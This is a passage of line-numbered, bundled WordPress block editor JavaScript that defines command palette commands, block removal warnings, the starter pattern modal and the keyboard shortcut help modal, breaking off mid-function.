9758 const { createInfoNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
9759 const {
9760 __unstableSaveForPreview,
9761 setIsListViewOpened,
9762 switchEditorMode,
9763 toggleDistractionFree,
9764 toggleSpotlightMode,
9765 toggleTopToolbar
9766 } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
9767 const { openModal, enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
9768 const { getCurrentPostId } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
9769 const allowSwitchEditorMode = isCodeEditingEnabled && isRichEditingEnabled;
9770 if (isPreviewMode) {
9771 return { commands: [], isLoading: false };
9772 }
9773 const commands = [];
9774 commands.push({
9775 name: "core/open-shortcut-help",
9776 label: (0,external_wp_i18n_namespaceObject.__)("Keyboard shortcuts"),
9777 icon: keyboard_default,
9778 callback: ({ close }) => {
9779 close();
9780 openModal("editor/keyboard-shortcut-help");
9781 }
9782 });
9783 commands.push({
9784 name: "core/toggle-distraction-free",
9785 label: isDistractionFree ? (0,external_wp_i18n_namespaceObject.__)("Exit Distraction free") : (0,external_wp_i18n_namespaceObject.__)("Enter Distraction free"),
9786 callback: ({ close }) => {
9787 toggleDistractionFree();
9788 close();
9789 }
9790 });
9791 commands.push({
9792 name: "core/open-preferences",
9793 label: (0,external_wp_i18n_namespaceObject.__)("Editor preferences"),
9794 callback: ({ close }) => {
9795 close();
9796 openModal("editor/preferences");
9797 }
9798 });
9799 commands.push({
9800 name: "core/toggle-spotlight-mode",
9801 label: isFocusMode ? (0,external_wp_i18n_namespaceObject.__)("Exit Spotlight mode") : (0,external_wp_i18n_namespaceObject.__)("Enter Spotlight mode"),
9802 callback: ({ close }) => {
9803 toggleSpotlightMode();
9804 close();
9805 }
9806 });
9807 commands.push({
9808 name: "core/toggle-list-view",
9809 label: isListViewOpen ? (0,external_wp_i18n_namespaceObject.__)("Close List View") : (0,external_wp_i18n_namespaceObject.__)("Open List View"),
9810 icon: list_view_default,
9811 callback: ({ close }) => {
9812 setIsListViewOpened(!isListViewOpen);
9813 close();
9814 createInfoNotice(
9815 isListViewOpen ? (0,external_wp_i18n_namespaceObject.__)("List View off.") : (0,external_wp_i18n_namespaceObject.__)("List View on."),
9816 {
9817 id: "core/editor/toggle-list-view/notice",
9818 type: "snackbar"
9819 }
9820 );
9821 }
9822 });
9823 commands.push({
9824 name: "core/toggle-top-toolbar",
9825 label: (0,external_wp_i18n_namespaceObject.__)("Top toolbar"),
9826 callback: ({ close }) => {
9827 toggleTopToolbar();
9828 close();
9829 }
9830 });
9831 if (allowSwitchEditorMode) {
9832 commands.push({
9833 name: "core/toggle-code-editor",
9834 label: editorMode === "visual" ? (0,external_wp_i18n_namespaceObject.__)("Open code editor") : (0,external_wp_i18n_namespaceObject.__)("Exit code editor"),
9835 icon: code_default,
9836 callback: ({ close }) => {
9837 switchEditorMode(
9838 editorMode === "visual" ? "text" : "visual"
9839 );
9840 close();
9841 }
9842 });
9843 }
9844 commands.push({
9845 name: "core/toggle-breadcrumbs",
9846 label: showBlockBreadcrumbs ? (0,external_wp_i18n_namespaceObject.__)("Hide block breadcrumbs") : (0,external_wp_i18n_namespaceObject.__)("Show block breadcrumbs"),
9847 callback: ({ close }) => {
9848 toggle("core", "showBlockBreadcrumbs");
9849 close();
9850 createInfoNotice(
9851 showBlockBreadcrumbs ? (0,external_wp_i18n_namespaceObject.__)("Breadcrumbs hidden.") : (0,external_wp_i18n_namespaceObject.__)("Breadcrumbs visible."),
9852 {
9853 id: "core/editor/toggle-breadcrumbs/notice",
9854 type: "snackbar"
9855 }
9856 );
9857 }
9858 });
9859 commands.push({
9860 name: "core/open-settings-sidebar",
9861 label: (0,external_wp_i18n_namespaceObject.__)("Show or hide the Settings panel"),
9862 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? drawer_left_default : drawer_right_default,
9863 callback: ({ close }) => {
9864 const activeSidebar = getActiveComplementaryArea("core");
9865 close();
9866 if (activeSidebar === "edit-post/document") {
9867 disableComplementaryArea("core");
9868 } else {
9869 enableComplementaryArea("core", "edit-post/document");
9870 }
9871 }
9872 });
9873 commands.push({
9874 name: "core/open-block-inspector",
9875 label: (0,external_wp_i18n_namespaceObject.__)("Show or hide the Block settings panel"),
9876 icon: block_default_default,
9877 callback: ({ close }) => {
9878 const activeSidebar = getActiveComplementaryArea("core");
9879 close();
9880 if (activeSidebar === "edit-post/block") {
9881 disableComplementaryArea("core");
9882 } else {
9883 enableComplementaryArea("core", "edit-post/block");
9884 }
9885 }
9886 });
9887 commands.push({
9888 name: "core/toggle-publish-sidebar",
9889 label: isPublishSidebarEnabled ? (0,external_wp_i18n_namespaceObject.__)("Disable pre-publish checks") : (0,external_wp_i18n_namespaceObject.__)("Enable pre-publish checks"),
9890 icon: format_list_bullets_default,
9891 callback: ({ close }) => {
9892 close();
9893 toggle("core", "isPublishSidebarEnabled");
9894 createInfoNotice(
9895 isPublishSidebarEnabled ? (0,external_wp_i18n_namespaceObject.__)("Pre-publish checks disabled.") : (0,external_wp_i18n_namespaceObject.__)("Pre-publish checks enabled."),
9896 {
9897 id: "core/editor/publish-sidebar/notice",
9898 type: "snackbar"
9899 }
9900 );
9901 }
9902 });
9903 if (isViewable) {
9904 commands.push({
9905 name: "core/preview-link",
9906 label: (0,external_wp_i18n_namespaceObject.__)("Preview in a new tab"),
9907 icon: external_default,
9908 callback: async ({ close }) => {
9909 close();
9910 const postId = getCurrentPostId();
9911 const link = await __unstableSaveForPreview();
9912 window.open(link, `wp-preview-${postId}`);
9913 }
9914 });
9915 }
9916 return {
9917 commands,
9918 isLoading: false
9919 };
9920};
9921const getEditedEntityContextualCommands = () => function useEditedEntityContextualCommands() {
9922 const { postType } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
9923 const { getCurrentPostType } = select(store_store);
9924 return {
9925 postType: getCurrentPostType()
9926 };
9927 }, []);
9928 const { openModal } = (0,external_wp_data_namespaceObject.useDispatch)(store);
9929 const commands = [];
9930 if (postType === PATTERN_POST_TYPE) {
9931 commands.push({
9932 name: "core/rename-pattern",
9933 label: (0,external_wp_i18n_namespaceObject.__)("Rename pattern"),
9934 icon: pencil_default,
9935 callback: ({ close }) => {
9936 openModal(modalName);
9937 close();
9938 }
9939 });
9940 commands.push({
9941 name: "core/duplicate-pattern",
9942 label: (0,external_wp_i18n_namespaceObject.__)("Duplicate pattern"),
9943 icon: symbol_default,
9944 callback: ({ close }) => {
9945 openModal(pattern_duplicate_modal_modalName);
9946 close();
9947 }
9948 });
9949 }
9950 return { isLoading: false, commands };
9951};
9952const getPageContentFocusCommands = () => function usePageContentFocusCommands() {
9953 const { onNavigateToEntityRecord, goBack, templateId, isPreviewMode } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
9954 const {
9955 getRenderingMode,
9956 getEditorSettings: _getEditorSettings,
9957 getCurrentTemplateId
9958 } = unlock(select(store_store));
9959 const editorSettings = _getEditorSettings();
9960 return {
9961 isTemplateHidden: getRenderingMode() === "post-only",
9962 onNavigateToEntityRecord: editorSettings.onNavigateToEntityRecord,
9963 getEditorSettings: _getEditorSettings,
9964 goBack: editorSettings.onNavigateToPreviousEntityRecord,
9965 templateId: getCurrentTemplateId(),
9966 isPreviewMode: editorSettings.isPreviewMode
9967 };
9968 }, []);
9969 const { editedRecord: template, hasResolved } = (0,external_wp_coreData_namespaceObject.useEntityRecord)(
9970 "postType",
9971 "wp_template",
9972 templateId
9973 );
9974 if (isPreviewMode) {
9975 return { isLoading: false, commands: [] };
9976 }
9977 const commands = [];
9978 if (templateId && hasResolved) {
9979 commands.push({
9980 name: "core/switch-to-template-focus",
9981 label: (0,external_wp_i18n_namespaceObject.sprintf)(
9982 /* translators: %s: template title */
9983 (0,external_wp_i18n_namespaceObject.__)("Edit template: %s"),
9984 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title)
9985 ),
9986 icon: layout_default,
9987 callback: ({ close }) => {
9988 onNavigateToEntityRecord({
9989 postId: templateId,
9990 postType: "wp_template"
9991 });
9992 close();
9993 }
9994 });
9995 }
9996 if (!!goBack) {
9997 commands.push({
9998 name: "core/switch-to-previous-entity",
9999 label: (0,external_wp_i18n_namespaceObject.__)("Go back"),
10000 icon: page_default,
10001 callback: ({ close }) => {
10002 goBack();
10003 close();
10004 }
10005 });
10006 }
10007 return { isLoading: false, commands };
10008};
10009const getManipulateDocumentCommands = () => function useManipulateDocumentCommands() {
10010 const { postType, postId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
10011 const { getCurrentPostId, getCurrentPostType } = select(store_store);
10012 return {
10013 postType: getCurrentPostType(),
10014 postId: getCurrentPostId()
10015 };
10016 }, []);
10017 const { editedRecord: template, hasResolved } = (0,external_wp_coreData_namespaceObject.useEntityRecord)(
10018 "postType",
10019 postType,
10020 postId
10021 );
10022 const { revertTemplate } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
10023 if (!hasResolved || ![TEMPLATE_PART_POST_TYPE, TEMPLATE_POST_TYPE].includes(
10024 postType
10025 )) {
10026 return { isLoading: true, commands: [] };
10027 }
10028 const commands = [];
10029 if (isTemplateRevertable(template)) {
10030 const label = template.type === TEMPLATE_POST_TYPE ? (0,external_wp_i18n_namespaceObject.sprintf)(
10031 /* translators: %s: template title */
10032 (0,external_wp_i18n_namespaceObject.__)("Reset template: %s"),
10033 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title)
10034 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
10035 /* translators: %s: template part title */
10036 (0,external_wp_i18n_namespaceObject.__)("Reset template part: %s"),
10037 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title)
10038 );
10039 commands.push({
10040 name: "core/reset-template",
10041 label,
10042 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? rotate_right_default : rotate_left_default,
10043 callback: ({ close }) => {
10044 revertTemplate(template);
10045 close();
10046 }
10047 });
10048 }
10049 return {
10050 isLoading: !hasResolved,
10051 commands
10052 };
10053};
10054function useCommands() {
10055 (0,external_wp_commands_namespaceObject.useCommandLoader)({
10056 name: "core/editor/edit-ui",
10057 hook: getEditorCommandLoader()
10058 });
10059 (0,external_wp_commands_namespaceObject.useCommandLoader)({
10060 name: "core/editor/contextual-commands",
10061 hook: getEditedEntityContextualCommands(),
10062 context: "entity-edit"
10063 });
10064 (0,external_wp_commands_namespaceObject.useCommandLoader)({
10065 name: "core/editor/page-content-focus",
10066 hook: getPageContentFocusCommands(),
10067 context: "entity-edit"
10068 });
10069 (0,external_wp_commands_namespaceObject.useCommandLoader)({
10070 name: "core/edit-site/manipulate-document",
10071 hook: getManipulateDocumentCommands()
10072 });
10073}
10074
10075
10076;// ./node_modules/@wordpress/editor/build-module/components/block-removal-warnings/index.js
10077
10078
10079
10080
10081
10082
10083
10084const { BlockRemovalWarningModal } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
10085const TEMPLATE_BLOCKS = [
10086 "core/post-content",
10087 "core/post-template",
10088 "core/query"
10089];
10090const BLOCK_REMOVAL_RULES = [
10091 {
10092 // Template blocks.
10093 // The warning is only shown when a user manipulates templates or template parts.
10094 postTypes: ["wp_template", "wp_template_part"],
10095 callback(removedBlocks) {
10096 const removedTemplateBlocks = removedBlocks.filter(
10097 ({ name }) => TEMPLATE_BLOCKS.includes(name)
10098 );
10099 if (removedTemplateBlocks.length) {
10100 return (0,external_wp_i18n_namespaceObject._n)(
10101 "Deleting this block will stop your post or page content from displaying on this template. It is not recommended.",
10102 "Some of the deleted blocks will stop your post or page content from displaying on this template. It is not recommended.",
10103 removedBlocks.length
10104 );
10105 }
10106 }
10107 },
10108 {
10109 // Pattern overrides.
10110 // The warning is only shown when the user edits a pattern.
10111 postTypes: ["wp_block"],
10112 callback(removedBlocks) {
10113 const removedBlocksWithOverrides = removedBlocks.filter(
10114 ({ attributes }) => attributes?.metadata?.bindings && Object.values(attributes.metadata.bindings).some(
10115 (binding) => binding.source === "core/pattern-overrides"
10116 )
10117 );
10118 if (removedBlocksWithOverrides.length) {
10119 return (0,external_wp_i18n_namespaceObject._n)(
10120 "The deleted block allows instance overrides. Removing it may result in content not displaying where this pattern is used. Are you sure you want to proceed?",
10121 "Some of the deleted blocks allow instance overrides. Removing them may result in content not displaying where this pattern is used. Are you sure you want to proceed?",
10122 removedBlocks.length
10123 );
10124 }
10125 }
10126 }
10127];
10128function BlockRemovalWarnings() {
10129 const currentPostType = (0,external_wp_data_namespaceObject.useSelect)(
10130 (select) => select(store_store).getCurrentPostType(),
10131 []
10132 );
10133 const removalRulesForPostType = (0,external_wp_element_namespaceObject.useMemo)(
10134 () => BLOCK_REMOVAL_RULES.filter(
10135 (rule) => rule.postTypes.includes(currentPostType)
10136 ),
10137 [currentPostType]
10138 );
10139 if (!BlockRemovalWarningModal) {
10140 return null;
10141 }
10142 if (!removalRulesForPostType) {
10143 return null;
10144 }
10145 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockRemovalWarningModal, { rules: removalRulesForPostType });
10146}
10147
10148
10149;// ./node_modules/@wordpress/editor/build-module/components/start-page-options/index.js
10150
10151
10152
10153
10154
10155
10156
10157
10158
10159
10160
10161
10162function useStartPatterns() {
10163 const { blockPatternsWithPostContentBlockType, postType } = (0,external_wp_data_namespaceObject.useSelect)(
10164 (select) => {
10165 const { getPatternsByBlockTypes, getBlocksByName } = select(external_wp_blockEditor_namespaceObject.store);
10166 const { getCurrentPostType, getRenderingMode } = select(store_store);
10167 const rootClientId = getRenderingMode() === "post-only" ? "" : getBlocksByName("core/post-content")?.[0];
10168 return {
10169 blockPatternsWithPostContentBlockType: getPatternsByBlockTypes(
10170 "core/post-content",
10171 rootClientId
10172 ),
10173 postType: getCurrentPostType()
10174 };
10175 },
10176 []
10177 );
10178 return (0,external_wp_element_namespaceObject.useMemo)(() => {
10179 if (!blockPatternsWithPostContentBlockType?.length) {
10180 return [];
10181 }
10182 return blockPatternsWithPostContentBlockType.filter((pattern) => {
10183 return postType === "page" && !pattern.postTypes || Array.isArray(pattern.postTypes) && pattern.postTypes.includes(postType);
10184 });
10185 }, [postType, blockPatternsWithPostContentBlockType]);
10186}
10187function PatternSelection({ blockPatterns, onChoosePattern }) {
10188 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
10189 const { postType, postId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
10190 const { getCurrentPostType, getCurrentPostId } = select(store_store);
10191 return {
10192 postType: getCurrentPostType(),
10193 postId: getCurrentPostId()
10194 };
10195 }, []);
10196 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10197 external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList,
10198 {
10199 blockPatterns,
10200 onClickPattern: (_pattern, blocks) => {
10201 editEntityRecord("postType", postType, postId, {
10202 blocks,
10203 content: ({ blocks: blocksForSerialization = [] }) => (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocksForSerialization)
10204 });
10205 onChoosePattern();
10206 }
10207 }
10208 );
10209}
10210function StartPageOptionsModal({ onClose }) {
10211 const [showStartPatterns, setShowStartPatterns] = (0,external_wp_element_namespaceObject.useState)(true);
10212 const { set: setPreference } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
10213 const startPatterns = useStartPatterns();
10214 const hasStartPattern = startPatterns.length > 0;
10215 if (!hasStartPattern) {
10216 return null;
10217 }
10218 function handleClose() {
10219 onClose();
10220 setPreference("core", "enableChoosePatternModal", showStartPatterns);
10221 }
10222 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
10223 external_wp_components_namespaceObject.Modal,
10224 {
10225 className: "editor-start-page-options__modal",
10226 title: (0,external_wp_i18n_namespaceObject.__)("Choose a pattern"),
10227 isFullScreen: true,
10228 onRequestClose: handleClose,
10229 children: [
10230 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-start-page-options__modal-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10231 PatternSelection,
10232 {
10233 blockPatterns: startPatterns,
10234 onChoosePattern: handleClose
10235 }
10236 ) }),
10237 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10238 external_wp_components_namespaceObject.Flex,
10239 {
10240 className: "editor-start-page-options__modal__actions",
10241 justify: "flex-start",
10242 expanded: false,
10243 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10244 external_wp_components_namespaceObject.CheckboxControl,
10245 {
10246 __nextHasNoMarginBottom: true,
10247 checked: showStartPatterns,
10248 label: (0,external_wp_i18n_namespaceObject.__)(
10249 "Always show starter patterns for new pages"
10250 ),
10251 onChange: (newValue) => {
10252 setShowStartPatterns(newValue);
10253 }
10254 }
10255 ) })
10256 }
10257 )
10258 ]
10259 }
10260 );
10261}
10262function StartPageOptions() {
10263 const [isOpen, setIsOpen] = (0,external_wp_element_namespaceObject.useState)(false);
10264 const { isEditedPostDirty, isEditedPostEmpty } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
10265 const { isModalActive } = (0,external_wp_data_namespaceObject.useSelect)(store);
10266 const { enabled, postId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
10267 const { getCurrentPostId, getCurrentPostType } = select(store_store);
10268 const choosePatternModalEnabled = select(external_wp_preferences_namespaceObject.store).get(
10269 "core",
10270 "enableChoosePatternModal"
10271 );
10272 return {
10273 postId: getCurrentPostId(),
10274 enabled: choosePatternModalEnabled && TEMPLATE_POST_TYPE !== getCurrentPostType()
10275 };
10276 }, []);
10277 (0,external_wp_element_namespaceObject.useEffect)(() => {
10278 const isFreshPage = !isEditedPostDirty() && isEditedPostEmpty();
10279 const isPreferencesModalActive = isModalActive("editor/preferences");
10280 if (!enabled || !isFreshPage || isPreferencesModalActive) {
10281 return;
10282 }
10283 setIsOpen(true);
10284 }, [
10285 enabled,
10286 postId,
10287 isEditedPostDirty,
10288 isEditedPostEmpty,
10289 isModalActive
10290 ]);
10291 if (!isOpen) {
10292 return null;
10293 }
10294 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(StartPageOptionsModal, { onClose: () => setIsOpen(false) });
10295}
10296
10297
10298;// external ["wp","keyboardShortcuts"]
10299const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
10300;// ./node_modules/@wordpress/editor/build-module/components/keyboard-shortcut-help-modal/config.js
10301
10302const textFormattingShortcuts = [
10303 {
10304 keyCombination: { modifier: "primary", character: "b" },
10305 description: (0,external_wp_i18n_namespaceObject.__)("Make the selected text bold.")
10306 },
10307 {
10308 keyCombination: { modifier: "primary", character: "i" },
10309 description: (0,external_wp_i18n_namespaceObject.__)("Make the selected text italic.")
10310 },
10311 {
10312 keyCombination: { modifier: "primary", character: "k" },
10313 description: (0,external_wp_i18n_namespaceObject.__)("Convert the selected text into a link.")
10314 },
10315 {
10316 keyCombination: { modifier: "primaryShift", character: "k" },
10317 description: (0,external_wp_i18n_namespaceObject.__)("Remove a link.")
10318 },
10319 {
10320 keyCombination: { character: "[[" },
10321 description: (0,external_wp_i18n_namespaceObject.__)("Insert a link to a post or page.")
10322 },
10323 {
10324 keyCombination: { modifier: "primary", character: "u" },
10325 description: (0,external_wp_i18n_namespaceObject.__)("Underline the selected text.")
10326 },
10327 {
10328 keyCombination: { modifier: "access", character: "d" },
10329 description: (0,external_wp_i18n_namespaceObject.__)("Strikethrough the selected text.")
10330 },
10331 {
10332 keyCombination: { modifier: "access", character: "x" },
10333 description: (0,external_wp_i18n_namespaceObject.__)("Make the selected text inline code.")
10334 },
10335 {
10336 keyCombination: {
10337 modifier: "access",
10338 character: "0"
10339 },
10340 aliases: [
10341 {
10342 modifier: "access",
10343 character: "7"
10344 }
10345 ],
10346 description: (0,external_wp_i18n_namespaceObject.__)("Convert the current heading to a paragraph.")
10347 },
10348 {
10349 keyCombination: { modifier: "access", character: "1-6" },
10350 description: (0,external_wp_i18n_namespaceObject.__)(
10351 "Convert the current paragraph or heading to a heading of level 1 to 6."
10352 )
10353 },
10354 {
10355 keyCombination: { modifier: "primaryShift", character: "SPACE" },
10356 description: (0,external_wp_i18n_namespaceObject.__)("Add non breaking space.")
10357 }
10358];
10359
10360
10361;// external ["wp","keycodes"]
10362const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
10363;// ./node_modules/@wordpress/editor/build-module/components/keyboard-shortcut-help-modal/shortcut.js
10364
10365
10366
10367function KeyCombination({ keyCombination, forceAriaLabel }) {
10368 const shortcut = keyCombination.modifier ? external_wp_keycodes_namespaceObject.displayShortcutList[keyCombination.modifier](
10369 keyCombination.character
10370 ) : keyCombination.character;
10371 const ariaLabel = keyCombination.modifier ? external_wp_keycodes_namespaceObject.shortcutAriaLabel[keyCombination.modifier](
10372 keyCombination.character
10373 ) : keyCombination.character;
10374 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10375 "kbd",
10376 {
10377 className: "editor-keyboard-shortcut-help-modal__shortcut-key-combination",
10378 "aria-label": forceAriaLabel || ariaLabel,
10379 children: (Array.isArray(shortcut) ? shortcut : [shortcut]).map(
10380 (character, index) => {
10381 if (character === "+") {
10382 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, { children: character }, index);
10383 }
10384 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10385 "kbd",
10386 {
10387 className: "editor-keyboard-shortcut-help-modal__shortcut-key",
10388 children: character
10389 },
10390 index
10391 );
10392 }
10393 )
10394 }
10395 );
10396}
10397function Shortcut({ description, keyCombination, aliases = [], ariaLabel }) {
10398 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10399 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-keyboard-shortcut-help-modal__shortcut-description", children: description }),
10400 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-keyboard-shortcut-help-modal__shortcut-term", children: [
10401 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10402 KeyCombination,
10403 {
10404 keyCombination,
10405 forceAriaLabel: ariaLabel
10406 }
10407 ),
10408 aliases.map((alias, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10409 KeyCombination,
10410 {
10411 keyCombination: alias,
10412 forceAriaLabel: ariaLabel
10413 },
10414 index
10415 ))
10416 ] })
10417 ] });
10418}
10419var shortcut_default = Shortcut;
10420
10421
10422;// ./node_modules/@wordpress/editor/build-module/components/keyboard-shortcut-help-modal/dynamic-shortcut.js
10423
10424
10425
10426
10427function DynamicShortcut({ name }) {
10428 const { keyCombination, description, aliases } = (0,external_wp_data_namespaceObject.useSelect)(
10429 (select) => {
10430 const {
10431 getShortcutKeyCombination,
10432 getShortcutDescription,
10433 getShortcutAliases
10434 } = select(external_wp_keyboardShortcuts_namespaceObject.store);
10435 return {
10436 keyCombination: getShortcutKeyCombination(name),
10437 aliases: getShortcutAliases(name),
10438 description: getShortcutDescription(name)
10439 };
10440 },
10441 [name]
10442 );
10443 if (!keyCombination) {
10444 return null;
10445 }
10446 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10447 shortcut_default,
10448 {
10449 keyCombination,
10450 description,
10451 aliases
10452 }
10453 );
10454}
10455var dynamic_shortcut_default = DynamicShortcut;
10456
10457
10458;// ./node_modules/@wordpress/editor/build-module/components/keyboard-shortcut-help-modal/index.js
10459
10460
10461
10462
10463
10464
10465
10466
10467
10468
10469const KEYBOARD_SHORTCUT_HELP_MODAL_NAME = "editor/keyboard-shortcut-help";
10470const ShortcutList = ({ shortcuts }) => (
10471 /*
10472 * Disable reason: The `list` ARIA role is redundant but
10473 * Safari+VoiceOver won't announce the list otherwise.
10474 */
10475 /* eslint-disable jsx-a11y/no-redundant-roles */
10476 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10477 "ul",
10478 {
10479 className: "editor-keyboard-shortcut-help-modal__shortcut-list",
10480 role: "list",
10481 children: shortcuts.map((shortcut, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10482 "li",
10483 {
10484 className: "editor-keyboard-shortcut-help-modal__shortcut",
10485 children: typeof shortcut === "string" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dynamic_shortcut_default, { name: shortcut }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(shortcut_default, { ...shortcut })
10486 },
10487 index
10488 ))
10489 }
10490 )
10491);
10492const ShortcutSection = ({ title, shortcuts, className }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
10493 "section",
10494 {
10495 className: dist_clsx(
10496 "editor-keyboard-shortcut-help-modal__section",
10497 className
10498 ),
10499 children: [
10500 !!title && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "editor-keyboard-shortcut-help-modal__section-title", children: title }),
10501 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutList, { shortcuts })
10502 ]
10503 }
10504);
10505const ShortcutCategorySection = ({
10506 title,
10507 categoryName,
10508 additionalShortcuts = []
10509}) => {
10510 const categoryShortcuts = (0,external_wp_data_namespaceObject.useSelect)(
10511 (select) => {
10512 return select(external_wp_keyboardShortcuts_namespaceObject.store).getCategoryShortcuts(
10513 categoryName
10514 );
10515 },
10516 [categoryName]
10517 );
10518 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10519 ShortcutSection,
10520 {
10521 title,
10522 shortcuts: categoryShortcuts.concat(additionalShortcuts)
10523 }
10524 );
10525};
10526function KeyboardShortcutHelpModal() {
10527 const isModalActive = (0,external_wp_data_namespaceObject.useSelect)(
10528 (select) => select(store).isModalActive(
10529 KEYBOARD_SHORTCUT_HELP_MODAL_NAME
10530 ),
10531 []
10532 );
10533 const { openModal, closeModal } = (0,external_wp_data_namespaceObject.useDispatch)(store);
10534 const toggleModal = () => {
10535 if (isModalActive) {
10536 closeModal();
10537 } else {
10538 openModal(KEYBOARD_SHORTCUT_HELP_MODAL_NAME);
10539 }
10540 };
10541 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/editor/keyboard-shortcuts", toggleModal);
10542 if (!isModalActive) {
10543 return null;
10544 }
10545 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
10546 external_wp_components_namespaceObject.Modal,
10547 {
10548 className: "editor-keyboard-shortcut-help-modal",
10549 title: (0,external_wp_i18n_namespaceObject.__)("Keyboard shortcuts"),
10550 closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)("Close"),
10551 onRequestClose: toggleModal,
10552 children: [
10553 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10554 ShortcutSection,
10555 {
10556 className: "editor-keyboard-shortcut-help-modal__main-shortcuts",
10557 shortcuts: ["core/editor/keyboard-shortcuts"]
10558 }
10559 ),
10560 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10561 ShortcutCategorySection,
10562 {
10563 title: (0,external_wp_i18n_namespaceObject.__)("Global shortcuts"),
10564 categoryName: "global"
10565 }
10566 ),
10567 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10568 ShortcutCategorySection,
10569 {
10570 title: (0,external_wp_i18n_namespaceObject.__)("Selection shortcuts"),
10571 categoryName: "selection"
10572 }
10573 ),
10574 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10575 ShortcutCategorySection,
10576 {
10577 title: (0,external_wp_i18n_namespaceObject.__)("Block shortcuts"),
10578 categoryName: "block",
10579 additionalShortcuts: [
10580 {
10581 keyCombination: { character: "/" },
10582 description: (0,external_wp_i18n_namespaceObject.__)(
10583 "Change the block type after adding a new paragraph."
10584 ),
10585 /* translators: The forward-slash character. e.g. '/'. */
10586 ariaLabel: (0,external_wp_i18n_namespaceObject.__)("Forward-slash")
10587 }
10588 ]
10589 }
10590 ),
10591 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10592 ShortcutSection,
10593 {
10594 title: (0,external_wp_i18n_namespaceObject.__)("Text formatting"),
10595 shortcuts: textFormattingShortcuts
10596 }
10597 ),
10598 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10599 ShortcutCategorySection,
10600 {
10601 title: (0,external_wp_i18n_namespaceObject.__)("List View shortcuts"),
10602 categoryName: "list-view"
10603 }
10604 )
10605 ]
10606 }
10607 );
10608}
10609var keyboard_shortcut_help_modal_default = KeyboardShortcutHelpModal;
10610
10611
10612;// ./node_modules/@wordpress/editor/build-module/components/block-settings-menu/content-only-settings-menu.js
10613
10614
10615
10616
10617
10618
10619
10620
10621
10622function ContentOnlySettingsMenuItems({ clientId, onClose }) {
10623 const postContentBlocks = usePostContentBlocks();
10624 const { entity, onNavigateToEntityRecord, canEditTemplates } = (0,external_wp_data_namespaceObject.useSelect)(
10625 (select) => {
10626 const {
10627 getBlockParentsByBlockName,
10628 getSettings,
10629 getBlockAttributes,
10630 getBlockParents
